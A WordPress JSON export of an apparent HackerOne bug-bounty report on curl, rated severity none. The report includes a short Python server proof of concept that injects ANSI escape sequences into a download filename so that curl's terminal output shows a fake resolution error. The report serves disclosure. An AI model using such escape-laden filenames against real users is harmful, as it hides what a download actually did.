{"id":30336,"date":"2025-12-11T02:43:04","date_gmt":"2025-12-11T02:43:04","guid":{"rendered":"http:\/\/localhost\/?p=30336"},"modified":"2025-12-11T02:43:04","modified_gmt":"2025-12-11T02:43:04","slug":"curl-terminal-output-not-great","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30336","title":{"rendered":"curl: Terminal Output Not Great_H1:3460184"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-11T08:25:46&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\n\\nNo AI here, I just came across this:\\n\\n&#8220;`python\\nimport random\\nimport string\\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\\n\\nclass MaliciousHandler(BaseHTTPRequestHandler):\\n    def do_GET(self):\\n        self.send_response(200)\\n        self.send_header(&#8216;Content-Type&#8217;, &#8216;text\/plain&#8217;)\\n        \\n        rand_id = &#8221;.join(random.choices(string.ascii_lowercase + string.digits, k=8))\\n        fake_error = \\&#8221;curl: (6) Could not resolve host: google.com\\&#8221;\\n        \\n        malicious_filename = f\\&#8221;{rand_id}\\\\033[1G\\\\033[2K\\\\033[A\\\\033[2K\\\\033[A\\\\033[2K{fake_error}\\&#8221;\\n        self.send_header(&#8216;Content-Disposition&#8217;, f&#8217;attachment; filename=\\&#8221;{malicious_filename}\\&#8221;&#8216;)\\n        self.end_headers()    \\n        self.wfile.write(b\\&#8221;curl rocks\\&#8221;)\\n\\nif __name__ == &#8216;__main__&#8217;:\\n    server_address = (&#8221;, 8080)\\n    httpd = HTTPServer(server_address, MaliciousHandler)\\n    httpd.serve_forever()\\n&#8220;`\\n\\n&#8220;`bash\\n\u276f curl -J -O -w \\&#8221;Saved to: %{filename_effective}\\\\n\\&#8221; http:\/\/localhost:8080\/somefile\\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\\ncurl: (6) Could not resolve host: google.com\\n&#8220;`\\n\\n&#8220;`bash\\n\u276f ls -al\\ntotal 16\\ndrwxr-xr-x  4 kelsier  staff   128 10 Dec 01:57 .\\ndrwxr-xr-x  4 kelsier  staff   128 10 Dec 01:07 ..\\n-rw-r&#8211;r&#8211;  1 kelsier  staff    33 10 Dec 01:57 5152c4jl?[1G?[2K?[A?[2K?[A?[2Kcurl: (6) Could not resolve host: google.com\\n-rw-r&#8211;r&#8211;  1 kelsier  staff  1550 10 Dec 01:57 salsa.py\\n&#8220;`\\n\\n&#8220;`bash\\n\u276f zsh &#8211;version\\nzsh 5.9 (arm64-apple-darwin24.0)\\n&#8220;`\\n\\n## Impact\\n\\n## Summary:\\n\\n\/me thinks this might be problematic?&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T02:16:41&#8243;,&#8221;modified&#8221;:&#8221;2025-12-11T08:22:21&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: Terminal Output Not Great&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3460184&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3460184&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-11T08:25:46&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\n\\nNo AI here, I just came across this:\\n\\n&#8220;`python\\nimport random\\nimport string\\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\\n\\nclass MaliciousHandler(BaseHTTPRequestHandler):\\n def do_GET(self):\\n self.send_response(200)\\n self.send_header(&#8216;Content-Type&#8217;, &#8216;text\/plain&#8217;)\\n \\n rand_id = &#8221;.join(random.choices(string.ascii_lowercase&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-30336","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - 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